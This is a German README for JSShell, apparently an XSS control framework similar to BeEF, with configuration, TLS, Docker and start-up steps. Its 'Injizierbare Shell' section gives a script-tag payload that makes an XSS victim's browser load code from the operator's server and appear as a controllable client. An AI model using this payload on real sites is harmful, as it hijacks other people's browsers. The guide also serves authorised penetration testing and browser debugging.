Installation & Einrichtung

Konfigurationsdatei

Im Verzeichnis resources aktualisieren Sie die Datei config.json mit Ihrer gewünschten Konfiguration:

• Datenbank-Host – bei Verwendung der docker-Bereitstellungsmethode wählen Sie den Datenbank-Host als db (der interne Hostname).
• Rückgabe-URL – die URL, der die Anfragen folgen. Die shell.js-Datei führt AJAX-Aufrufe durch, um neue Befehle zu registrieren und abzufragen. Normalerweise lautet sie http[s]://{YOUR_SERVER_IP}:{PORT}.
• Startskript – ein Skript, das automatisch ausgeführt wird, wenn der JSShell-CLI-Client gestartet wird.
• Domain – falls Sie TLS-Zertifikate generieren möchten, ist dies der Domainname, den der Server verwenden wird.
• Es ist auch möglich, auf eine entfernte Datenbank zu verweisen, falls gewünscht.

Let's Encrypt

Jetzt unterstützt JSShell TLS, was bedeutet, dass Sie TLS-Zertifikate generieren und dem Webserver bereitstellen können. Der Webserver leitet den Domainnamen aus der config.json-Datei ab. Um das Zertifikat zu erstellen, verwenden Sie das Skript create_cert.py im Ordner scripts:

das E-Mail-Feld ist optional.

Bitte beachten Sie, dass der Webserver gestoppt sein muss, damit das Skript ordnungsgemäß funktioniert. An diesem Punkt haben wir unsere Zertifikate erfolgreich generiert! Die einzigen Änderungen, die wir vornehmen müssen, sind:

• Ändern Sie in der config.json-Datei das Schema des URL-Feldes auf https.
• Ändern Sie in der docker-compose.yml-Datei den exponierten Port des web-Containers auf 443.

Docker

Diese neue Version unterstützt die Installation und Ausführung von JSShell über docker und docker-compose. Um das gesamte JSShell-Framework zu installieren und auszuführen, führen Sie einfach aus:

Dies wird:

• Die Datenbank im Hintergrund starten und erstellen
• Den Web-API-Server, der eingehende Verbindungen behandelt, im Hintergrund starten
• Eine neue Instanz des JSShell-Befehlszeilenschnittstellen-Containers starten

Normal

Wenn Sie immer noch die altmodische Installationsmethode verwenden möchten, stellen Sie einfach sicher, dass eine MongoDB-Datenbank läuft, und aktualisieren Sie die Datei config.json im Verzeichnis resources.

Ich empfehle die Verwendung einer virtuellen Umgebung mit pyenv:

Oder mit virtualenv:

Installieren Sie dann die Abhängigkeiten:

Ausführung

Wenn Sie die docker-Methode verwendet haben, ist es nicht nötig, die folgende Prozedur auszuführen.

Webserver

Andernfalls müssen wir, nachdem die Datenbank eingerichtet ist, den Web-API-Server starten. Führen Sie dazu aus:

Dies erstellt und startet einen Webserver, der eingehende Verbindungen abhört und unseren JSShell-Code ausliefert.

Shell

Um nun die JSShell-CLI zu starten, führen Sie dasselbe Skript aus, jetzt jedoch mit dem shell-Flag:

Verwendung

Nach der Einrichtung und dem Start der erforderlichen Komponenten geben Sie den Befehl help ein, um die verfügbaren Befehle anzuzeigen:

Ablauf

JSShell unterstützt 2 Betriebsarten:

1. Injizierbare Shell (ähnlich dem BeeF-Framework)
2. Gehostete Shell (zum Debuggen)

Injizierbare Shell

Ähnlich wie andere XSS-Kontroll-Frameworks (z. B. BeeF) ist JSShell in der Lage, erfolgreiche XSS-Ausnutzungen zu verwalten. Wenn Sie beispielsweise ein <script>-Tag injizieren können, fügen Sie die folgende Ressource in Ihren Payload ein, und ein neuer Client erscheint in Ihrer Konsole:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Gehostete Shell

Wenn Sie exotische und esoterische Browser debuggen möchten, navigieren Sie einfach zu http[s]://{YOUR_SERVER_IP}:{PORT}/, und ein neuer Client wird in Ihrem JSShell-CLI-Client erscheinen. Er ist dann über unsere JSShell-Konsole debuggbar.

Credits

Canop für JSON.prune

Verwenden Sie es auf eigene Verantwortung und Risiko.